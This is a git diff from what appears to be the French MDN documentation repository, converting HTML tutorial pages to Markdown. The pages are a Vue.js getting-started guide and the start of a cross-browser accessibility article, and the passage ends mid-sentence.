`.eslintrc.js`: This is a config file for [eslint](https://eslint.org/). You can use this to manage your linting rules. +- `babel.config.js`: This is the config file for [Babel](https://babeljs.io/), which transforms modern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file. +- `.browserslistrc`: This is a config for [Browserslist](https://github.com/browserslist/browserslist). You can use this to control which browsers your tooling optimizes for. +- `public`: This directory contains static assets that are published, but not processed by [Webpack](https://webpack.js.org/) during build (with one exception; gets some processing).`index.html` + + - `favicon.ico`: This is the favicon for your app. Currently, it's the Vue logo. + - `index.html`: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it. + + > **Note :** this is not the template for managing the layout of your application — this template is for managing static HTML that sits outside of your Vue app. Editing this file typically only occurs in advanced use cases. + +- `src`: This directory contains the core of your Vue app. + + - `main.js`: this is the entry point to your application. Currently, this file initializes your Vue application and signifies which HTML element in the file your app should be attached to. This file is often where you register global components or additional Vue libraries.`index.html` + - `App.vue`: this is the top-level component in your Vue app. See below for more explanation of Vue components. + - `components`: this directory is where you keep your components. Currently it just has one example component. + - `assets`: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by Webpack. This means you can use pre-processors like [Sass/SCSS](https://sass-lang.com/) or [Stylus](https://stylus-lang.com/). + +> **Note :** Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a directory).`views` + +## .vue files (single file components) + +Like in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code. + +While some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using [Single File Components](https://vuejs.org/v2/guide/single-file-components.html), Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in . These files are processed by a JS build tool (such as Webpack), which means you can take advantage of build-time tooling in your project. This allows you to use tools like Babel, TypeScript, SCSS and more to create more sophisticated components.`.vue` + +As a bonus, projects created with the Vue CLI are configured to use files with Webpack out of the box. In fact, if you look inside the folder in the project we created with the CLI, you'll see your first file: .` .vue``src``.vue``App.vue ` + +Let's explore this now. + +### App.vue + +Open your file — you’ll see that it has three parts: , , and , which contain the component’s template, scripting, and styling information. All Single File Components share this same basic structure.` App.vue``<template>``<script>``<style> ` + +`<template>` contains all the markup structure and display logic of your component. Your template can contain any valid HTML, as well as some Vue-specific syntax that we'll cover later. + +> **Note :** By setting the attribute on the tag, you can use Pug template syntax instead of standard HTML — . We'll stick to standard HTML through this tutorial, but it is worth knowing that this is possible.` lang``<template>``<template lang="pug"> ` + +`<script>` contains all of the non-display logic of your component. Most importantly, your tag needs to have a default exported JS object. This object is where you locally register components, define component inputs (props), handle local state, define methods, and more. Your build step will process this object and transform it (with your template) into a Vue component with a function.` <script>``render() ` + +In the case of , our default export sets the name of the component to and registers the component by adding it into the property. When you register a component in this way, you're registering it locally. Locally registered components can only be used inside the components that register them, so you need to import and register them in every component file that uses them. This can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component.` App.vue``app``HelloWorld``components ` + +```js +import HelloWorld from './components/HelloWorld.vue'; export default { name: 'app', @@ -164,133 +185,133 @@ export default { //You can register components locally here. HelloWorld } -};</pre> +}; +``` -<div class="note"> -<p><strong>Note :</strong> If you want to use <a href="https://www.typescriptlang.org/">TypeScript</a> syntax, you need to set the attribute on the tag to signify to the compiler that you're using TypeScript — .<code>lang</code><code><script></code><code><script lang="ts"></code></p> -</div> +> **Note :** If you want to use [TypeScript](https://www.typescriptlang.org/) syntax, you need to set the attribute on the tag to signify to the compiler that you're using TypeScript — .` lang``<script>``<script lang="ts"> ` -<p><code><style></code> is where you write your CSS for the component. If you add a attribute — — Vue will scope the styles to the contents of your SFC. This works similar to CSS-in-JS solutions, but allows you to just write plain CSS.<code>scoped</code><code><style scoped></code></p> +`<style>` is where you write your CSS for the component. If you add a attribute — — Vue will scope the styles to the contents of your SFC. This works similar to CSS-in-JS solutions, but allows you to just write plain CSS.` scoped``<style scoped> ` -<div class="note"> -<p><strong>Note :</strong> If you select a CSS pre-processor when creating the project via the CLI, you can add a attribute to the tag so that the contents can be processed by Webpack at build time. For example, will allow you to use SCSS syntax in your styling information.<code>lang</code><code><style></code><code><style lang="scss"></code></p> -</div> +> **Note :** If you select a CSS pre-processor when creating the project via the CLI, you can add a attribute to the tag so that the contents can be processed by Webpack at build time. For example, will allow you to use SCSS syntax in your styling information.` lang``<style>``<style lang="scss"> ` -<h2 id="Running_the_app_locally">Running the app locally</h2> +## Running the app locally -<p>The Vue CLI comes with a built-in development server. This allows you to run your app locally so you can test it easily without needing to configure a server yourself. The CLI adds a command to the project’s file as an npm script, so you can easily run it.<code>serve</code><code>package.json</code></p> +The Vue CLI comes with a built-in development server. This allows you to run your app locally so you can test it easily without needing to configure a server yourself. The CLI adds a command to the project’s file as an npm script, so you can easily run it.` serve``package.json ` -<p>In your terminal, try running (or if you prefer yarn). Your terminal should output something like the following:<code>npm run serve</code><code>yarn serve</code></p> +In your terminal, try running (or if you prefer yarn). Your terminal should output something like the following:` npm run serve``yarn serve ` -<pre>INFO Starting development server... -98% after emitting CopyPlugin + INFO Starting development server... + 98% after emitting CopyPlugin - DONE Compiled successfully in 18121ms + DONE Compiled successfully in 18121ms - App running at: - - Local: <http://localhost:8080/> - - Network: <http://192.168.1.9:8080/> + App running at: + - Local: <http://localhost:8080/> + - Network: <http://192.168.1.9:8080/> - Note that the development build is not optimized. - To create a production build, run npm run build.</pre> + Note that the development build is not optimized. + To create a production build, run npm run build. -<p>If you navigate to the “local” address in a new browser tab (this should be something like as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.<code>http://localhost:8080</code></p> +If you navigate to the “local” address in a new browser tab (this should be something like as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.`http://localhost:8080` -<p><img alt="default vue app render, with vue logo, welcome message, and some documentation links" src="vue-default-app.png"></p> + -<h2 id="Making_a_couple_of_changes">Making a couple of changes</h2> +## Making a couple of changes -<p>Let's make our first change to the app — we’ll delete the Vue logo. Open the file, and delete the element from the template section:<code>App.vue</code><code><a href="/fr/docs/Web/HTML/Element/img"><img></a></code></p> +Let's make our first change to the app — we’ll delete the Vue logo. Open the file, and delete the element from the template section:`App.vue`[`<img>`](/fr/docs/Web/HTML/Element/img) -<pre class="brush: html"><img alt="Vue logo" src="./assets/logo.png"></pre> +```html +<img alt="Vue logo" src="./assets/logo.png"> +``` -<p>If your server is still running, you should see the logo removed from the rendered site almost instantly. Let’s also remove the component from our template.<code>HelloWorld</code></p> +If your server is still running, you should see the logo removed from the rendered site almost instantly. Let’s also remove the component from our template.`HelloWorld` -<p>First of all delete this line:</p> +First of all delete this line: -<pre class="brush: html"><HelloWorld msg="Welcome to Your Vue.js App"/></pre> +```html +<HelloWorld msg="Welcome to Your Vue.js App"/> +``` -<p>If you save your file now, the rendered app will throw an error because we’ve registered the component but are not using it. We also need to remove the lines from inside the element that import and register the component:<code>App.vue</code><code><script></code></p> +If you save your file now, the rendered app will throw an error because we’ve registered the component but are not using it. We also need to remove the lines from inside the element that import and register the component:` App.vue``<script> ` -<p>Delete these lines now:</p> +Delete these lines now: -<pre class="brush: js">import HelloWorld from './components/HelloWorld.vue'</pre> +```js +import HelloWorld from './components/HelloWorld.vue' +``` -<pre class="brush: js">components: { +```js +components: { HelloWorld -}</pre> - -<p>Your rendered app should no longer show an error, just a blank page, as we currently have no visible content inside .<code><template></code></p> - -<p>Let’s add a new inside . Since we’re going to be creating a todo list app below, let's set our header text to "To-Do List". Add it like so:<code><h1></code><code><div id="app"></code></p> - -<pre class="brush: html"><template> - <div id="app"> - <h1>To-Do List</h1> - </div> -</template></pre> - -<p><code>App.vue</code> will now show our heading, as you'd expect.</p> - -<h2 id="Summary">Summary</h2> - -<p>Let's leave this here for now. We've learnt about some of the ideas behind Vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes.</p> - -<p>With a basic introduction out of the way, we'll now go further and build up our sample app, a basic Todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos.</p> - -<p>In the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state.</p> - -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> - <li>React - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> - </ul> - </li> - <li>Ember - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> - </ul> - </li> - <li>Vue - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> - </ul> - </li> - <li>Svelte - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> - </ul> - </li> -</ul> +} +``` + +Your rendered app should no longer show an error, just a blank page, as we currently have no visible content inside .`<template>` + +Let’s add a new inside . Since we’re going to be creating a todo list app below, let's set our header text to "To-Do List". Add it like so:` <h1>``<div id="app"> ` + +```html +<template> + <div id="app"> + <h1>To-Do List</h1> + </div> +</template> +``` + +`App.vue` will now show our heading, as you'd expect. + +## Summary + +Let's leave this here for now. We've learnt about some of the ideas behind Vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes. + +With a basic introduction out of the way, we'll now go further and build up our sample app, a basic Todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos. + +In the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state. + +{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} + +## In this module + +- [Introduction to client-side frameworks](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) +- [Framework main features](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) +- React + + - [Getting started with React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - [Beginning our React todo list](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - [Componentizing our React app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - [React interactivity: Events and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - [React interactivity: Editing, filtering, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - [Accessibility in React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - [React resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) + +- Ember + + - [Getting started with Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - [Ember app structure and componentization](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - [Ember interactivity: Events, classes and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - [Ember Interactivity: Footer functionality, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - [Routing in Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - [Ember resources and troubleshooting](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) + +- Vue + + - [Getting started with Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - [Creating our first Vue component](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - [Rendering a list of Vue components](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - [Adding a new todo form: Vue events, methods, and models](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - [Styling Vue components with CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - [Using Vue computed properties](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - [Vue conditional rendering: editing existing todos](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - [Focus management with Vue refs](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - [Vue resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) + +- Svelte + + - [Getting started with Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started) + - [Starting our Svelte Todo list app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) + - [Dynamic behavior in Svelte: working with variables and props](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) + - [Componentizing our Svelte app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) + - [Advanced Svelte: Reactivity, lifecycle, accessibility](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility) + - [Working with Svelte stores](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores) + - [TypeScript support in Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript) + - [Deployment and next steps](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next) diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md index 9ed0cc97e7..04ab4aa129 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md @@ -16,670 +16,685 @@ tags: translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility original_slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibilité --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> - -<p>Tournons maintenant notre attention vers l'accessibilité, les informations sur les problèmes communs, comment faire des tests simples, et comment faire pour utiliser les outils d'audit/automatisation pour trouver les problèmes d'accessibilités.</p> +Tournons maintenant notre attention vers l'accessibilité, les informations sur les problèmes communs, comment faire des tests simples, et comment faire pour utiliser les outils d'audit/automatisation pour trouver les problèmes d'accessibilités. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Connaissances avec le noyau des langages <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS">CSS</a> et <a href="/fr/Apprendre/JavaScript">JavaScript</a> ; une idée du haut niveau des principes du <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">test en navigateur croisé</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Être capable de diagnostiquer les problèmes courants d'Accessibilité, et utiliser les outils et techniques appropriés pour les résoudre.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Connaissances avec le noyau des langages + <a href="/fr/Apprendre/HTML">HTML</a>, + <a href="/fr/Apprendre/CSS">CSS</a> et + <a href="/fr/Apprendre/JavaScript">JavaScript</a> ; une idée du haut + niveau des principes du + <a + href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction" + >test en navigateur croisé</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Être capable de diagnostiquer les problèmes courants d'Accessibilité, + et utiliser les outils et techniques appropriés pour les résoudre. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Qu'est-ce_que_l'accessibilité">Qu'est-ce que l'accessibilité ?</h2> +## Qu'est-ce que l'accessibilité ? -<p>Quand on parle d'accessibilité dans le contexte de la technologie web, la plupart des gens pense directement au fait de s'assurer que les sites web/apps sont utilisables par les personnes avec des handicap, par exemple :</p> +Quand on parle d'accessibilité dans le contexte de la technologie web, la plupart des gens pense directement au fait de s'assurer que les sites web/apps sont utilisables par les personnes avec des handicap, par exemple : -<ul> - <li>Les personnes malvoyantes utilisant des lecteurs d'écran ou l'élargissement/zoom pour accéder au texte.</li> - <li>Les personnes avec des troubles fonctionnels moteurs utilisant le clavier (ou d'autres fonctions sans souris) pour activer des fonctionnalités de site web.</li> - <li>Les personnes avec des troubles auditifs dépendant des légendes/sous-titres ou d'autres textes alternatifs pour du contenu audio/vidéo.</li> -</ul> +- Les personnes malvoyantes utilisant des lecteurs d'écran ou l'élargissement/zoom pour accéder au texte. +- Les personnes avec des troubles fonctionnels moteurs utilisant le clavier (ou d'autres fonctions sans souris) pour activer des fonctionnalités de site web. +- Les personnes avec des troubles auditifs dépendant des légendes/sous-titres ou d'autres textes alternatifs pour du contenu audio/vidéo. -<p>Toutefois, ce serait faux de réduire l'accessibilité uniquement aux handicaps. Le vrai but de l'accessibilité est de faire en sorte que vos sites web/applis soient utilisables par le plus grand nombre de personnes dans le plus grand nombre de contextes possibles, pas uniquement ces utilisateurs qui utilisant des ordinateurs de bureau puissants. Les exemples extrêmes pourraient inclure :</p> +Toutefois, ce serait faux de réduire l'accessibilité uniquement aux handicaps. Le vrai but de l'accessibilité est de faire en sorte que vos sites web/applis soient utilisables par le plus grand nombre de personnes dans le plus grand nombre de contextes possibles, pas uniquement ces utilisateurs qui utilisant des ordinateurs de bureau puissants. Les exemples extrêmes pourraient inclure : -<ul> - <li>Les utilisateurs sur des appareils mobiles.</li> - <li>Les utilisateurs sur des appareils de navigation alternatifs comme les TVs, les montres, etc.</li> - <li>Les utilisateurs de vieux appareils qui n'ont pas les derniers navigateurs.</li> - <li>Les utilisateurs avec des appareils aux caractéristiques basses qui peuvent avoir des processeurs lents.</li> -</ul> +- Les utilisateurs sur des appareils mobiles. +- Les utilisateurs sur des appareils de navigation alternatifs comme les TVs, les montres, etc. +- Les utilisateurs de vieux appareils qui n'ont pas les derniers navigateurs. +- Les utilisateurs avec des appareils aux caractéristiques basses qui peuvent avoir des processeurs lents. -<p>D'une certaine manière, la totalité de ce module concerne l'accessibilité — le test en navigateur croisé assure que vos sites peuvent être utilisé par le plus de personne possible. <a href="/fr/Apprendre/a11y/What_is_accessibility">Qu'est-ce que l'accessibilité ?</a> décrit plus largement et précisément l'accessibilité que cet article ne le fait.</p> +D'une certaine manière, la totalité de ce module concerne l'accessibilité — le test en navigateur croisé assure que vos sites peuvent être utilisé par le plus de personne possible. [Qu'est-ce que l'accessibilité ?](/fr/Apprendre/a11y/What_is_accessibility) décrit plus largement et précisément l'accessibilité que cet article ne le fait. -<p>Cela dit, cet article couvrira les problèmes en navigateur croisé et de test entourant les personnes avec des handicaps, et comment ils utilisent le Web. Nous avons déjà parlé des autres domaines comme le <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_probl%C3%A8mes_de_responsive_design">responsive design</a> et la <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Les_probl%C3%A8mes_de_performance">performance</a> à d'autres endroits dans ce module.</p> +Cela dit, cet article couvrira les problèmes en navigateur croisé et de test entourant les personnes avec des handicaps, et comment ils utilisent le Web. Nous avons déjà parlé des autres domaines comme le [responsive design](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_probl%C3%A8mes_de_responsive_design) et la [performance](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Les_probl%C3%A8mes_de_performance) à d'autres endroits dans ce module. -<div class="note"> -<p><strong>Note :</strong> Comme beaucoup de choses dans le développement web, l'accessibilité ne concerne pas la totale réussite ou échec ; l'accessibilité à 100% est quasiment impossible à atteindre pour tous les contenus, spécialement quand les sites deviennent plus complexes. Il s'agit plutôt de faire un effort pour rendre votre contenu accessible au plus grand nombre de personnes possible, avec du code de prévention, et se tenir aux meilleures pratiques.</p> -</div> +> **Note :** Comme beaucoup de choses dans le développement web, l'accessibilité ne concerne pas la totale réussite ou échec ; l'accessibilité à 100% est quasiment impossible à atteindre pour tous les contenus, spécialement quand les sites deviennent plus complexes. Il s'agit plutôt de faire un effort pour rendre votre contenu accessible au plus grand nombre de personnes possible, avec du code de prévention, et se tenir aux meilleures pratiques. -<h2 id="Problèmes_d'accessibilité_courants">Problèmes d'accessibilité courants</h2> +## Problèmes d'accessibilité courants -<p>Dans cette section nous détaillerons certains des problèmes principaux qui se manifestent autour de l'accessibilité, liée à des technologies spécifiques, avec les bonnes pratiques à adopter, et quelques tests rapides que vous pouvez faire pour voir si vos sites vont dans le bon sens.</p> +Dans cette section nous détaillerons certains des problèmes principaux qui se manifestent autour de l'accessibilité, liée à des technologies spécifiques, avec les bonnes pratiques à adopter, et quelques tests rapides que vous pouvez faire pour voir si vos sites vont dans le bon sens. -<div class="note"> -<p><strong>Note :</strong> L'accessibilité est moralement la bonne chose à faire, est bonne pour les affaires (nombre élevé d'utilisateurs handicapés, utilisateurs sur des appareils mobiles, etc. représentent un segment du marché signifiant), mais c'est aussi illégal dans de nombreuses régions de la planète de ne pas rendre les propriétés du web accessibles aux personnes avec des handicaps. Pour plus d'informations, lisez <a href="/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidlines and the law</a>.</p> -</div> +> **Note :** L'accessibilité est moralement la bonne chose à faire, est bonne pour les affaires (nombre élevé d'utilisateurs handicapés, utilisateurs sur des appareils mobiles, etc. représentent un segment du marché signifiant), mais c'est aussi illégal dans de nombreuses régions de la planète de ne pas rendre les propriétés du web accessibles aux personnes avec des handicaps. Pour plus d'informations, lisez [Accessibility guidlines and the law](/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law). -<h3 id="HTML">HTML</h3> +### HTML -<p>La sémantique HTML (où les éléments sont utilisés à leur fin prévues) est accessible sans aucune modification — les contenus sont lisibles par les spectateurs voyants (à condition que vous n'ayez rien fait d'absurde comme rendre le texte bien trop petit ou ne l'ayez caché en utilisant du CSS), mais il sera aussi utilisable par des technologies d'assistance comme les lecteurs d'écran (applis qui lisent littéralement une page à leurs utilisateurs), et apporte également d'autres avantages.</p> +La sémantique HTML (où les éléments sont utilisés à leur fin prévues) est accessible sans aucune modification — les contenus sont lisibles par les spectateurs voyants (à condition que vous n'ayez rien fait d'absurde comme rendre le texte bien trop petit ou ne l'ayez caché en utilisant du CSS), mais il sera aussi utilisable par des technologies d'assistance comme les lecteurs d'écran (applis qui lisent littéralement une page à leurs utilisateurs), et apporte également d'autres avantages. -<h4 id="La_structure_sémantique">La structure sémantique</h4> +#### La structure sémantique -<p>Le quick win le plus important en sémantique HTML et d'utiliser une structure de rubriques et de paragraphes pour votre contenu ; parce que les utilisateurs de lecteurs d'écran ont tendance à utiliser les rubriques d'un document comme indications pour trouver le contenu qu'il recherche plus rapidement. Si votre contenu n'a pas de rubriques, tout ce qu'ils auraient c'est un énorme mur de texte sans aucune indication pour trouver quelque chose. Exemples de bon et de mauvais HTML :</p> +Le quick win le plus important en sémantique HTML et d'utiliser une structure de rubriques et de paragraphes pour votre contenu ; parce que les utilisateurs de lecteurs d'écran ont tendance à utiliser les rubriques d'un document comme indications pour trouver le contenu qu'il recherche plus rapidement. Si votre contenu n'a pas de rubriques, tout ce qu'ils auraient c'est un énorme mur de texte sans aucune indication pour trouver quelque chose. Exemples de bon et de mauvais HTML : -<pre class="brush: html example-bad"><font size="7">My heading</font> -<br><br> +```html example-bad +<font size="7">My heading</font> +<br><br> This is the first section of my document. -<br><br> +<br><br> I'll add another paragraph here too. -<br><br> -<font size="5">My subheading</font> -<br><br> +<br><br> +<font size="5">My subheading</font> +<br><br> This is the first subsection of my document. I'd love people to be able to find this content! -<br><br> -<font size="5">My 2nd subheading</font> -<br><br> -This is the second subsection of my content. I think is more interesting than the last one.</pre> +<br><br> +<font size="5">My 2nd subheading</font> +<br><br> +This is the second subsection of my content. I think is more interesting than the last one. +``` -<pre class="brush: html example-good"><h1>My heading</h1> +```html example-good +<h1>My heading</h1> -<p>This is the first section of my document.</p> +<p>This is the first section of my document.</p> -<p>I'll add another paragraph here too.</p> +<p>I'll add another paragraph here too.</p> -<h2>My subheading</h2> +<h2>My subheading</h2> -<p>This is the first subsection of my document. I'd love people to be able to find this content!</p> +<p>This is the first subsection of my document. I'd love people to be able to find this content!</p> -<h2>My 2nd subheading</h2> +<h2>My 2nd subheading</h2> -<p>This is the second subsection of my content. I think is more interesting than the last one.</p></pre> +<p>This is the second subsection of my content. I think is more interesting than the last one.</p> +``` -<p>De plus, votre contenu doit avoir un sens logique dans son code source — vous pourrez toujours le placer où vous voulez en utilisant du CSS plus tard, mais 